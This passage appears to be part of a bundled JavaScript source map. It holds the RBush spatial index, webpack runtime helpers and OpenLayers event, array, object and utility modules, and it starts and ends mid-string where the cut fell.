exports&&\"undefined\"!=typeof module?module.exports=i():\"function\"==typeof define&&define.amd?define(i):(t=t||self).RBush=i()}(this,function(){\"use strict\";function t(t,r,e,a,h){!function t(n,r,e,a,h){for(;a>e;){if(a-e>600){var o=a-e+1,s=r-e+1,l=Math.log(o),f=.5*Math.exp(2*l/3),u=.5*Math.sqrt(l*f*(o-f)/o)*(s-o/2<0?-1:1),m=Math.max(e,Math.floor(r-s*f/o+u)),c=Math.min(a,Math.floor(r+(o-s)*f/o+u));t(n,r,m,c,h)}var p=n[r],d=e,x=a;for(i(n,e,r),h(n[a],p)>0&&i(n,e,a);d<x;){for(i(n,d,x),d++,x--;h(n[d],p)<0;)d++;for(;h(n[x],p)>0;)x--}0===h(n[e],p)?i(n,e,x):i(n,++x,a),x<=r&&(e=x+1),r<=x&&(a=x-1)}}(t,r,e||0,a||t.length-1,h||n)}function i(t,i,n){var r=t[i];t[i]=t[n],t[n]=r}function n(t,i){return t<i?-1:t>i?1:0}var r=function(t){void 0===t&&(t=9),this._maxEntries=Math.max(4,t),this._minEntries=Math.max(2,Math.ceil(.4*this._maxEntries)),this.clear()};function e(t,i,n){if(!n)return i.indexOf(t);for(var r=0;r<i.length;r++)if(n(t,i[r]))return r;return-1}function a(t,i){h(t,0,t.children.length,i,t)}function h(t,i,n,r,e){e||(e=p(null)),e.minX=1/0,e.minY=1/0,e.maxX=-1/0,e.maxY=-1/0;for(var a=i;a<n;a++){var h=t.children[a];o(e,t.leaf?r(h):h)}return e}function o(t,i){return t.minX=Math.min(t.minX,i.minX),t.minY=Math.min(t.minY,i.minY),t.maxX=Math.max(t.maxX,i.maxX),t.maxY=Math.max(t.maxY,i.maxY),t}function s(t,i){return t.minX-i.minX}function l(t,i){return t.minY-i.minY}function f(t){return(t.maxX-t.minX)*(t.maxY-t.minY)}function u(t){return t.maxX-t.minX+(t.maxY-t.minY)}function m(t,i){return t.minX<=i.minX&&t.minY<=i.minY&&i.maxX<=t.maxX&&i.maxY<=t.maxY}function c(t,i){return i.minX<=t.maxX&&i.minY<=t.maxY&&i.maxX>=t.minX&&i.maxY>=t.minY}function p(t){return{children:t,height:1,leaf:!0,minX:1/0,minY:1/0,maxX:-1/0,maxY:-1/0}}function d(i,n,r,e,a){for(var h=[n,r];h.length;)if(!((r=h.pop())-(n=h.pop())<=e)){var o=n+Math.ceil((r-n)/e/2)*e;t(i,o,n,r,a),h.push(n,o,o,r)}}return r.prototype.all=function(){return this._all(this.data,[])},r.prototype.search=function(t){var i=this.data,n=[];if(!c(t,i))return n;for(var r=this.toBBox,e=[];i;){for(var a=0;a<i.children.length;a++){var h=i.children[a],o=i.leaf?r(h):h;c(t,o)&&(i.leaf?n.push(h):m(t,o)?this._all(h,n):e.push(h))}i=e.pop()}return n},r.prototype.collides=function(t){var i=this.data;if(!c(t,i))return!1;for(var n=[];i;){for(var r=0;r<i.children.length;r++){var e=i.children[r],a=i.leaf?this.toBBox(e):e;if(c(t,a)){if(i.leaf||m(t,a))return!0;n.push(e)}}i=n.pop()}return!1},r.prototype.load=function(t){if(!t||!t.length)return this;if(t.length<this._minEntries){for(var i=0;i<t.length;i++)this.insert(t[i]);return this}var n=this._build(t.slice(),0,t.length-1,0);if(this.data.children.length)if(this.data.height===n.height)this._splitRoot(this.data,n);else{if(this.data.height<n.height){var r=this.data;this.data=n,n=r}this._insert(n,this.data.height-n.height-1,!0)}else this.data=n;return this},r.prototype.insert=function(t){return t&&this._insert(t,this.data.height-1),this},r.prototype.clear=function(){return this.data=p([]),this},r.prototype.remove=function(t,i){if(!t)return this;for(var n,r,a,h=this.data,o=this.toBBox(t),s=[],l=[];h||s.length;){if(h||(h=s.pop(),r=s[s.length-1],n=l.pop(),a=!0),h.leaf){var f=e(t,h.children,i);if(-1!==f)return h.children.splice(f,1),s.push(h),this._condense(s),this}a||h.leaf||!m(h,o)?r?(n++,h=r.children[n],a=!1):h=null:(s.push(h),l.push(n),n=0,r=h,h=h.children[0])}return this},r.prototype.toBBox=function(t){return t},r.prototype.compareMinX=function(t,i){return t.minX-i.minX},r.prototype.compareMinY=function(t,i){return t.minY-i.minY},r.prototype.toJSON=function(){return this.data},r.prototype.fromJSON=function(t){return this.data=t,this},r.prototype._all=function(t,i){for(var n=[];t;)t.leaf?i.push.apply(i,t.children):n.push.apply(n,t.children),t=n.pop();return i},r.prototype._build=function(t,i,n,r){var e,h=n-i+1,o=this._maxEntries;if(h<=o)return a(e=p(t.slice(i,n+1)),this.toBBox),e;r||(r=Math.ceil(Math.log(h)/Math.log(o)),o=Math.ceil(h/Math.pow(o,r-1))),(e=p([])).leaf=!1,e.height=r;var s=Math.ceil(h/o),l=s*Math.ceil(Math.sqrt(o));d(t,i,n,l,this.compareMinX);for(var f=i;f<=n;f+=l){var u=Math.min(f+l-1,n);d(t,f,u,s,this.compareMinY);for(var m=f;m<=u;m+=s){var c=Math.min(m+s-1,u);e.children.push(this._build(t,m,c,r-1))}}return a(e,this.toBBox),e},r.prototype._chooseSubtree=function(t,i,n,r){for(;r.push(i),!i.leaf&&r.length-1!==n;){for(var e=1/0,a=1/0,h=void 0,o=0;o<i.children.length;o++){var s=i.children[o],l=f(s),u=(m=t,c=s,(Math.max(c.maxX,m.maxX)-Math.min(c.minX,m.minX))*(Math.max(c.maxY,m.maxY)-Math.min(c.minY,m.minY))-l);u<a?(a=u,e=l<e?l:e,h=s):u===a&&l<e&&(e=l,h=s)}i=h||i.children[0]}var m,c;return i},r.prototype._insert=function(t,i,n){var r=n?t:this.toBBox(t),e=[],a=this._chooseSubtree(r,this.data,i,e);for(a.children.push(t),o(a,r);i>=0&&e[i].children.length>this._maxEntries;)this._split(e,i),i--;this._adjustParentBBoxes(r,e,i)},r.prototype._split=function(t,i){var n=t[i],r=n.children.length,e=this._minEntries;this._chooseSplitAxis(n,e,r);var h=this._chooseSplitIndex(n,e,r),o=p(n.children.splice(h,n.children.length-h));o.height=n.height,o.leaf=n.leaf,a(n,this.toBBox),a(o,this.toBBox),i?t[i-1].children.push(o):this._splitRoot(n,o)},r.prototype._splitRoot=function(t,i){this.data=p([t,i]),this.data.height=t.height+1,this.data.leaf=!1,a(this.data,this.toBBox)},r.prototype._chooseSplitIndex=function(t,i,n){for(var r,e,a,o,s,l,u,m=1/0,c=1/0,p=i;p<=n-i;p++){var d=h(t,0,p,this.toBBox),x=h(t,p,n,this.toBBox),v=(e=d,a=x,o=void 0,s=void 0,l=void 0,u=void 0,o=Math.max(e.minX,a.minX),s=Math.max(e.minY,a.minY),l=Math.min(e.maxX,a.maxX),u=Math.min(e.maxY,a.maxY),Math.max(0,l-o)*Math.max(0,u-s)),M=f(d)+f(x);v<m?(m=v,r=p,c=M<c?M:c):v===m&&M<c&&(c=M,r=p)}return r||n-i},r.prototype._chooseSplitAxis=function(t,i,n){var r=t.leaf?this.compareMinX:s,e=t.leaf?this.compareMinY:l;this._allDistMargin(t,i,n,r)<this._allDistMargin(t,i,n,e)&&t.children.sort(r)},r.prototype._allDistMargin=function(t,i,n,r){t.children.sort(r);for(var e=this.toBBox,a=h(t,0,i,e),s=h(t,n-i,n,e),l=u(a)+u(s),f=i;f<n-i;f++){var m=t.children[f];o(a,t.leaf?e(m):m),l+=u(a)}for(var c=n-i-1;c>=i;c--){var p=t.children[c];o(s,t.leaf?e(p):p),l+=u(s)}return l},r.prototype._adjustParentBBoxes=function(t,i,n){for(var r=n;r>=0;r--)o(i[r],t)},r.prototype._condense=function(t){for(var i=t.length-1,n=void 0;i>=0;i--)0===t[i].children.length?i>0?(n=t[i-1].children).splice(n.indexOf(t[i]),1):this.clear():a(t[i],this.toBBox)},r});\n","// The module cache\nvar __webpack_module_cache__ = {};\n\n// The require function\nfunction __webpack_require__(moduleId) {\n\t// Check if module is in cache\n\tvar cachedModule = __webpack_module_cache__[moduleId];\n\tif (cachedModule !== undefined) {\n\t\treturn cachedModule.exports;\n\t}\n\t// Create a new module (and put it into the cache)\n\tvar module = __webpack_module_cache__[moduleId] = {\n\t\t// no module.id needed\n\t\t// no module.loaded needed\n\t\texports: {}\n\t};\n\n\t// Execute the module function\n\t__webpack_modules__[moduleId].call(module.exports, module, module.exports, __webpack_require__);\n\n\t// Return the exports of the module\n\treturn module.exports;\n}\n\n","// define getter functions for harmony exports\n__webpack_require__.d = function(exports, definition) {\n\tfor(var key in definition) {\n\t\tif(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {\n\t\t\tObject.defineProperty(exports, key, { enumerable: true, get: definition[key] });\n\t\t}\n\t}\n};","__webpack_require__.o = function(obj, prop) { return Object.prototype.hasOwnProperty.call(obj, prop); }","/**\n * @module ol/events/Event\n */\n/**\n * @classdesc\n * Stripped down implementation of the W3C DOM Level 2 Event interface.\n * See https://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-interface.\n *\n * This implementation only provides `type` and `target` properties, and\n * `stopPropagation` and `preventDefault` methods. It is meant as base class\n * for higher level events defined in the library, and works with\n * {@link module:ol/events/Target~Target}.\n */\nvar BaseEvent = /** @class */ (function () {\n /**\n * @param {string} type Type.\n */\n function BaseEvent(type) {\n /**\n * @type {boolean}\n */\n this.propagationStopped;\n /**\n * @type {boolean}\n */\n this.defaultPrevented;\n /**\n * The event type.\n * @type {string}\n * @api\n */\n this.type = type;\n /**\n * The event target.\n * @type {Object}\n * @api\n */\n this.target = null;\n }\n /**\n * Prevent default. This means that no emulated `click`, `singleclick` or `doubleclick` events\n * will be fired.\n * @api\n */\n BaseEvent.prototype.preventDefault = function () {\n this.defaultPrevented = true;\n };\n /**\n * Stop event propagation.\n * @api\n */\n BaseEvent.prototype.stopPropagation = function () {\n this.propagationStopped = true;\n };\n return BaseEvent;\n}());\n/**\n * @param {Event|import(\"./Event.js\").default} evt Event\n */\nexport function stopPropagation(evt) {\n evt.stopPropagation();\n}\n/**\n * @param {Event|import(\"./Event.js\").default} evt Event\n */\nexport function preventDefault(evt) {\n evt.preventDefault();\n}\nexport default BaseEvent;\n//# sourceMappingURL=Event.js.map","/**\n * @module ol/ObjectEventType\n */\n/**\n * @enum {string}\n */\nexport default {\n /**\n * Triggered when a property is changed.\n * @event module:ol/Object.ObjectEvent#propertychange\n * @api\n */\n PROPERTYCHANGE: 'propertychange',\n};\n/**\n * @typedef {'propertychange'} Types\n */\n//# sourceMappingURL=ObjectEventType.js.map","/**\n * @module ol/Disposable\n */\n/**\n * @classdesc\n * Objects that need to clean up after themselves.\n */\nvar Disposable = /** @class */ (function () {\n function Disposable() {\n /**\n * The object has already been disposed.\n * @type {boolean}\n * @protected\n */\n this.disposed = false;\n }\n /**\n * Clean up.\n */\n Disposable.prototype.dispose = function () {\n if (!this.disposed) {\n this.disposed = true;\n this.disposeInternal();\n }\n };\n /**\n * Extension point for disposable objects.\n * @protected\n */\n Disposable.prototype.disposeInternal = function () { };\n return Disposable;\n}());\nexport default Disposable;\n//# sourceMappingURL=Disposable.js.map","/**\n * @module ol/array\n */\n/**\n * Performs a binary search on the provided sorted list and returns the index of the item if found. If it can't be found it'll return -1.\n * https://github.com/darkskyapp/binary-search\n *\n * @param {Array<*>} haystack Items to search through.\n * @param {*} needle The item to look for.\n * @param {Function} [opt_comparator] Comparator function.\n * @return {number} The index of the item if found, -1 if not.\n */\nexport function binarySearch(haystack, needle, opt_comparator) {\n var mid, cmp;\n var comparator = opt_comparator || numberSafeCompareFunction;\n var low = 0;\n var high = haystack.length;\n var found = false;\n while (low < high) {\n /* Note that \"(low + high) >>> 1\" may overflow, and results in a typecast\n * to double (which gives the wrong results). */\n mid = low + ((high - low) >> 1);\n cmp = +comparator(haystack[mid], needle);\n if (cmp < 0.0) {\n /* Too low. */\n low = mid + 1;\n }\n else {\n /* Key found or too high */\n high = mid;\n found = !cmp;\n }\n }\n /* Key not found. */\n return found ? low : ~low;\n}\n/**\n * Compare function for array sort that is safe for numbers.\n * @param {*} a The first object to be compared.\n * @param {*} b The second object to be compared.\n * @return {number} A negative number, zero, or a positive number as the first\n * argument is less than, equal to, or greater than the second.\n */\nexport function numberSafeCompareFunction(a, b) {\n return a > b ? 1 : a < b ? -1 : 0;\n}\n/**\n * Whether the array contains the given object.\n * @param {Array<*>} arr The array to test for the presence of the element.\n * @param {*} obj The object for which to test.\n * @return {boolean} The object is in the array.\n */\nexport function includes(arr, obj) {\n return arr.indexOf(obj) >= 0;\n}\n/**\n * {@link module:ol/tilegrid/TileGrid~TileGrid#getZForResolution} can use a function\n * of this type to determine which nearest resolution to use.\n *\n * This function takes a `{number}` representing a value between two array entries,\n * a `{number}` representing the value of the nearest higher entry and\n * a `{number}` representing the value of the nearest lower entry\n * as arguments and returns a `{number}`. If a negative number or zero is returned\n * the lower value will be used, if a positive number is returned the higher value\n * will be used.\n * @typedef {function(number, number, number): number} NearestDirectionFunction\n * @api\n */\n/**\n * @param {Array<number>} arr Array in descending order.\n * @param {number} target Target.\n * @param {number|NearestDirectionFunction} direction\n * 0 means return the nearest,\n * > 0 means return the largest nearest,\n * < 0 means return the smallest nearest.\n * @return {number} Index.\n */\nexport function linearFindNearest(arr, target, direction) {\n var n = arr.length;\n if (arr[0] <= target) {\n return 0;\n }\n else if (target <= arr[n - 1]) {\n return n - 1;\n }\n else {\n var i = void 0;\n if (direction > 0) {\n for (i = 1; i < n; ++i) {\n if (arr[i] < target) {\n return i - 1;\n }\n }\n }\n else if (direction < 0) {\n for (i = 1; i < n; ++i) {\n if (arr[i] <= target) {\n return i;\n }\n }\n }\n else {\n for (i = 1; i < n; ++i) {\n if (arr[i] == target) {\n return i;\n }\n else if (arr[i] < target) {\n if (typeof direction === 'function') {\n if (direction(target, arr[i - 1], arr[i]) > 0) {\n return i - 1;\n }\n else {\n return i;\n }\n }\n else if (arr[i - 1] - target < target - arr[i]) {\n return i - 1;\n }\n else {\n return i;\n }\n }\n }\n }\n return n - 1;\n }\n}\n/**\n * @param {Array<*>} arr Array.\n * @param {number} begin Begin index.\n * @param {number} end End index.\n */\nexport function reverseSubArray(arr, begin, end) {\n while (begin < end) {\n var tmp = arr[begin];\n arr[begin] = arr[end];\n arr[end] = tmp;\n ++begin;\n --end;\n }\n}\n/**\n * @param {Array<VALUE>} arr The array to modify.\n * @param {!Array<VALUE>|VALUE} data The elements or arrays of elements to add to arr.\n * @template VALUE\n */\nexport function extend(arr, data) {\n var extension = Array.isArray(data) ? data : [data];\n var length = extension.length;\n for (var i = 0; i < length; i++) {\n arr[arr.length] = extension[i];\n }\n}\n/**\n * @param {Array<VALUE>} arr The array to modify.\n * @param {VALUE} obj The element to remove.\n * @template VALUE\n * @return {boolean} If the element was removed.\n */\nexport function remove(arr, obj) {\n var i = arr.indexOf(obj);\n var found = i > -1;\n if (found) {\n arr.splice(i, 1);\n }\n return found;\n}\n/**\n * @param {Array<VALUE>} arr The array to search in.\n * @param {function(VALUE, number, ?) : boolean} func The function to compare.\n * @template VALUE\n * @return {VALUE|null} The element found or null.\n */\nexport function find(arr, func) {\n var length = arr.length >>> 0;\n var value;\n for (var i = 0; i < length; i++) {\n value = arr[i];\n if (func(value, i, arr)) {\n return value;\n }\n }\n return null;\n}\n/**\n * @param {Array|Uint8ClampedArray} arr1 The first array to compare.\n * @param {Array|Uint8ClampedArray} arr2 The second array to compare.\n * @return {boolean} Whether the two arrays are equal.\n */\nexport function equals(arr1, arr2) {\n var len1 = arr1.length;\n if (len1 !== arr2.length) {\n return false;\n }\n for (var i = 0; i < len1; i++) {\n if (arr1[i] !== arr2[i]) {\n return false;\n }\n }\n return true;\n}\n/**\n * Sort the passed array such that the relative order of equal elements is preserved.\n * See https://en.wikipedia.org/wiki/Sorting_algorithm#Stability for details.\n * @param {Array<*>} arr The array to sort (modifies original).\n * @param {!function(*, *): number} compareFnc Comparison function.\n * @api\n */\nexport function stableSort(arr, compareFnc) {\n var length = arr.length;\n var tmp = Array(arr.length);\n var i;\n for (i = 0; i < length; i++) {\n tmp[i] = { index: i, value: arr[i] };\n }\n tmp.sort(function (a, b) {\n return compareFnc(a.value, b.value) || a.index - b.index;\n });\n for (i = 0; i < arr.length; i++) {\n arr[i] = tmp[i].value;\n }\n}\n/**\n * @param {Array<*>} arr The array to search in.\n * @param {Function} func Comparison function.\n * @return {number} Return index.\n */\nexport function findIndex(arr, func) {\n var index;\n var found = !arr.every(function (el, idx) {\n index = idx;\n return !func(el, idx, arr);\n });\n return found ? index : -1;\n}\n/**\n * @param {Array<*>} arr The array to test.\n * @param {Function} [opt_func] Comparison function.\n * @param {boolean} [opt_strict] Strictly sorted (default false).\n * @return {boolean} Return index.\n */\nexport function isSorted(arr, opt_func, opt_strict) {\n var compare = opt_func || numberSafeCompareFunction;\n return arr.every(function (currentVal, index) {\n if (index === 0) {\n return true;\n }\n var res = compare(arr[index - 1], currentVal);\n return !(res > 0 || (opt_strict && res === 0));\n });\n}\n//# sourceMappingURL=array.js.map","/**\n * @module ol/functions\n */\nimport { equals as arrayEquals } from './array.js';\n/**\n * Always returns true.\n * @return {boolean} true.\n */\nexport function TRUE() {\n return true;\n}\n/**\n * Always returns false.\n * @return {boolean} false.\n */\nexport function FALSE() {\n return false;\n}\n/**\n * A reusable function, used e.g. as a default for callbacks.\n *\n * @return {void} Nothing.\n */\nexport function VOID() { }\n/**\n * Wrap a function in another function that remembers the last return. If the\n * returned function is called twice in a row with the same arguments and the same\n * this object, it will return the value from the first call in the second call.\n *\n * @param {function(...any): ReturnType} fn The function to memoize.\n * @return {function(...any): ReturnType} The memoized function.\n * @template ReturnType\n */\nexport function memoizeOne(fn) {\n var called = false;\n /** @type {ReturnType} */\n var lastResult;\n /** @type {Array<any>} */\n var lastArgs;\n var lastThis;\n return function () {\n var nextArgs = Array.prototype.slice.call(arguments);\n if (!called || this !== lastThis || !arrayEquals(nextArgs, lastArgs)) {\n called = true;\n lastThis = this;\n lastArgs = nextArgs;\n lastResult = fn.apply(this, arguments);\n }\n return lastResult;\n };\n}\n/**\n * @template T\n * @param {function(): (T | Promise<T>)} getter A function that returns a value or a promise for a value.\n * @return {Promise<T>} A promise for the value.\n */\nexport function toPromise(getter) {\n function promiseGetter() {\n var value;\n try {\n value = getter();\n }\n catch (err) {\n return Promise.reject(err);\n }\n if (value instanceof Promise) {\n return value;\n }\n return Promise.resolve(value);\n }\n return promiseGetter();\n}\n//# sourceMappingURL=functions.js.map","/**\n * @module ol/obj\n */\n/**\n * Polyfill for Object.assign(). Assigns enumerable and own properties from\n * one or more source objects to a target object.\n * See https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Object/assign.\n *\n * @param {!Object} target The target object.\n * @param {...Object} var_sources The source object(s).\n * @return {!Object} The modified target object.\n */\nexport var assign = typeof Object.assign === 'function'\n ? Object.assign\n : function (target, var_sources) {\n if (target === undefined || target === null) {\n throw new TypeError('Cannot convert undefined or null to object');\n }\n var output = Object(target);\n for (var i = 1, ii = arguments.length; i < ii; ++i) {\n var source = arguments[i];\n if (source !== undefined && source !== null) {\n for (var key in source) {\n if (source.hasOwnProperty(key)) {\n output[key] = source[key];\n }\n }\n }\n }\n return output;\n };\n/**\n * Removes all properties from an object.\n * @param {Object} object The object to clear.\n */\nexport function clear(object) {\n for (var property in object) {\n delete object[property];\n }\n}\n/**\n * Polyfill for Object.values(). Get an array of property values from an object.\n * See https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/values\n *\n * @param {!Object<K,V>} object The object from which to get the values.\n * @return {!Array<V>} The property values.\n * @template K,V\n */\nexport var getValues = typeof Object.values === 'function'\n ? Object.values\n : function (object) {\n var values = [];\n for (var property in object) {\n values.push(object[property]);\n }\n return values;\n };\n/**\n * Determine if an object has any properties.\n * @param {Object} object The object to check.\n * @return {boolean} The object is empty.\n */\nexport function isEmpty(object) {\n var property;\n for (property in object) {\n return false;\n }\n return !property;\n}\n//# sourceMappingURL=obj.js.map","var __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\n/**\n * @module ol/events/Target\n */\nimport Disposable from '../Disposable.js';\nimport Event from './Event.js';\nimport { VOID } from '../functions.js';\nimport { clear } from '../obj.js';\n/**\n * @typedef {EventTarget|Target} EventTargetLike\n */\n/**\n * @classdesc\n * A simplified implementation of the W3C DOM Level 2 EventTarget interface.\n * See https://www.w3.org/TR/2000/REC-DOM-Level-2-Events-20001113/events.html#Events-EventTarget.\n *\n * There are two important simplifications compared to the specification:\n *\n * 1. The handling of `useCapture` in `addEventListener` and\n * `removeEventListener`. There is no real capture model.\n * 2. The handling of `stopPropagation` and `preventDefault` on `dispatchEvent`.\n * There is no event target hierarchy. When a listener calls\n * `stopPropagation` or `preventDefault` on an event object, it means that no\n * more listeners after this one will be called. Same as when the listener\n * returns false.\n */\nvar Target = /** @class */ (function (_super) {\n __extends(Target, _super);\n /**\n * @param {*} [opt_target] Default event target for dispatched events.\n */\n function Target(opt_target) {\n var _this = _super.call(this) || this;\n /**\n * @private\n * @type {*}\n */\n _this.eventTarget_ = opt_target;\n /**\n * @private\n * @type {Object<string, number>}\n */\n _this.pendingRemovals_ = null;\n /**\n * @private\n * @type {Object<string, number>}\n */\n _this.dispatching_ = null;\n /**\n * @private\n * @type {Object<string, Array<import(\"../events.js\").Listener>>}\n */\n _this.listeners_ = null;\n return _this;\n }\n /**\n * @param {string} type Type.\n * @param {import(\"../events.js\").Listener} listener Listener.\n */\n Target.prototype.addEventListener = function (type, listener) {\n if (!type || !listener) {\n return;\n }\n var listeners = this.listeners_ || (this.listeners_ = {});\n var listenersForType = listeners[type] || (listeners[type] = []);\n if (listenersForType.indexOf(listener) === -1) {\n listenersForType.push(listener);\n }\n };\n /**\n * Dispatches an event and calls all listeners listening for events\n * of this type. The event parameter can either be a string or an\n * Object with a `type` property.\n *\n * @param {import(\"./Event.js\").default|string} event Event object.\n * @return {boolean|undefined} `false` if anyone called preventDefault on the\n * event object or if any of the listeners returned false.\n * @api\n */\n Target.prototype.dispatchEvent = function (event) {\n var isString = typeof event === 'string';\n var type = isString ? event : event.type;\n var listeners = this.listeners_ && this.listeners_[type];\n if (!listeners) {\n return;\n }\n var evt = isString ? new Event(event) : /** @type {Event} */ (event);\n if (!evt.target) {\n evt.target = this.eventTarget_ || this;\n }\n var dispatching = this.dispatching_ || (this.dispatching_ = {});\n var pendingRemovals = this.pendingRemovals_ || (this.pendingRemovals_ = {});\n if (!(type in dispatching)) {\n dispatching[type] = 0;\n pendingRemovals[type] = 0;\n }\n ++dispatching[type];\n var propagate;\n for (var i = 0, ii = listeners.length; i < ii; ++i) {\n if ('handleEvent' in listeners[i]) {\n propagate = /** @type {import(\"../events.js\").ListenerObject} */ (listeners[i]).handleEvent(evt);\n }\n else {\n propagate = /** @type {import(\"../events.js\").ListenerFunction} */ (listeners[i]).call(this, evt);\n }\n if (propagate === false || evt.propagationStopped) {\n propagate = false;\n break;\n }\n }\n if (--dispatching[type] === 0) {\n var pr = pendingRemovals[type];\n delete pendingRemovals[type];\n while (pr--) {\n this.removeEventListener(type, VOID);\n }\n delete dispatching[type];\n }\n return propagate;\n };\n /**\n * Clean up.\n */\n Target.prototype.disposeInternal = function () {\n this.listeners_ && clear(this.listeners_);\n };\n /**\n * Get the listeners for a specified event type. Listeners are returned in the\n * order that they will be called in.\n *\n * @param {string} type Type.\n * @return {Array<import(\"../events.js\").Listener>|undefined} Listeners.\n */\n Target.prototype.getListeners = function (type) {\n return (this.listeners_ && this.listeners_[type]) || undefined;\n };\n /**\n * @param {string} [opt_type] Type. If not provided,\n * `true` will be returned if this event target has any listeners.\n * @return {boolean} Has listeners.\n */\n Target.prototype.hasListener = function (opt_type) {\n if (!this.listeners_) {\n return false;\n }\n return opt_type\n ? opt_type in this.listeners_\n : Object.keys(this.listeners_).length > 0;\n };\n /**\n * @param {string} type Type.\n * @param {import(\"../events.js\").Listener} listener Listener.\n */\n Target.prototype.removeEventListener = function (type, listener) {\n var listeners = this.listeners_ && this.listeners_[type];\n if (listeners) {\n var index = listeners.indexOf(listener);\n if (index !== -1) {\n if (this.pendingRemovals_ && type in this.pendingRemovals_) {\n // make listener a no-op, and remove later in #dispatchEvent()\n listeners[index] = VOID;\n ++this.pendingRemovals_[type];\n }\n else {\n listeners.splice(index, 1);\n if (listeners.length === 0) {\n delete this.listeners_[type];\n }\n }\n }\n }\n };\n return Target;\n}(Disposable));\nexport default Target;\n//# sourceMappingURL=Target.js.map","/**\n * @module ol/events/EventType\n */\n/**\n * @enum {string}\n * @const\n */\nexport default {\n /**\n * Generic change event. Triggered when the revision counter is increased.\n * @event module:ol/events/Event~BaseEvent#change\n * @api\n */\n CHANGE: 'change',\n /**\n * Generic error event. Triggered when an error occurs.\n * @event module:ol/events/Event~BaseEvent#error\n * @api\n */\n ERROR: 'error',\n BLUR: 'blur',\n CLEAR: 'clear',\n CONTEXTMENU: 'contextmenu',\n CLICK: 'click',\n DBLCLICK: 'dblclick',\n DRAGENTER: 'dragenter',\n DRAGOVER: 'dragover',\n DROP: 'drop',\n FOCUS: 'focus',\n KEYDOWN: 'keydown',\n KEYPRESS: 'keypress',\n LOAD: 'load',\n RESIZE: 'resize',\n TOUCHMOVE: 'touchmove',\n WHEEL: 'wheel',\n};\n//# sourceMappingURL=EventType.js.map","/**\n * @module ol/events\n */\nimport { clear } from './obj.js';\n/**\n * Key to use with {@link module:ol/Observable.unByKey}.\n * @typedef {Object} EventsKey\n * @property {ListenerFunction} listener Listener.\n * @property {import(\"./events/Target.js\").EventTargetLike} target Target.\n * @property {string} type Type.\n * @api\n */\n/**\n * Listener function. This function is called with an event object as argument.\n * When the function returns `false`, event propagation will stop.\n *\n * @typedef {function((Event|import(\"./events/Event.js\").default)): (void|boolean)} ListenerFunction\n * @api\n */\n/**\n * @typedef {Object} ListenerObject\n * @property {ListenerFunction} handleEvent HandleEvent listener function.\n */\n/**\n * @typedef {ListenerFunction|ListenerObject} Listener\n */\n/**\n * Registers an event listener on an event target. Inspired by\n * https://google.github.io/closure-library/api/source/closure/goog/events/events.js.src.html\n *\n * This function efficiently binds a `listener` to a `this` object, and returns\n * a key for use with {@link module:ol/events.unlistenByKey}.\n *\n * @param {import(\"./events/Target.js\").EventTargetLike} target Event target.\n * @param {string} type Event type.\n * @param {ListenerFunction} listener Listener.\n * @param {Object} [opt_this] Object referenced by the `this` keyword in the\n * listener. Default is the `target`.\n * @param {boolean} [opt_once] If true, add the listener as one-off listener.\n * @return {EventsKey} Unique key for the listener.\n */\nexport function listen(target, type, listener, opt_this, opt_once) {\n if (opt_this && opt_this !== target) {\n listener = listener.bind(opt_this);\n }\n if (opt_once) {\n var originalListener_1 = listener;\n listener = function () {\n target.removeEventListener(type, listener);\n originalListener_1.apply(this, arguments);\n };\n }\n var eventsKey = {\n target: target,\n type: type,\n listener: listener,\n };\n target.addEventListener(type, listener);\n return eventsKey;\n}\n/**\n * Registers a one-off event listener on an event target. Inspired by\n * https://google.github.io/closure-library/api/source/closure/goog/events/events.js.src.html\n *\n * This function efficiently binds a `listener` as self-unregistering listener\n * to a `this` object, and returns a key for use with\n * {@link module:ol/events.unlistenByKey} in case the listener needs to be\n * unregistered before it is called.\n *\n * When {@link module:ol/events.listen} is called with the same arguments after this\n * function, the self-unregistering listener will be turned into a permanent\n * listener.\n *\n * @param {import(\"./events/Target.js\").EventTargetLike} target Event target.\n * @param {string} type Event type.\n * @param {ListenerFunction} listener Listener.\n * @param {Object} [opt_this] Object referenced by the `this` keyword in the\n * listener. Default is the `target`.\n * @return {EventsKey} Key for unlistenByKey.\n */\nexport function listenOnce(target, type, listener, opt_this) {\n return listen(target, type, listener, opt_this, true);\n}\n/**\n * Unregisters event listeners on an event target. Inspired by\n * https://google.github.io/closure-library/api/source/closure/goog/events/events.js.src.html\n *\n * The argument passed to this function is the key returned from\n * {@link module:ol/events.listen} or {@link module:ol/events.listenOnce}.\n *\n * @param {EventsKey} key The key.\n */\nexport function unlistenByKey(key) {\n if (key && key.target) {\n key.target.removeEventListener(key.type, key.listener);\n clear(key);\n }\n}\n//# sourceMappingURL=events.js.map","var __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\n/**\n * @module ol/Observable\n */\nimport EventTarget from './events/Target.js';\nimport EventType from './events/EventType.js';\nimport { listen, listenOnce, unlistenByKey } from './events.js';\n/***\n * @template {string} Type\n * @template {Event|import(\"./events/Event.js\").default} EventClass\n * @template Return\n * @typedef {(type: Type, listener: (event: EventClass) => ?) => Return} OnSignature\n */\n/***\n * @template {string} Type\n * @template Return\n * @typedef {(type: Type[], listener: (event: Event|import(\"./events/Event\").default) => ?) => Return extends void ? void : Return[]} CombinedOnSignature\n */\n/**\n * @typedef {'change'|'error'} 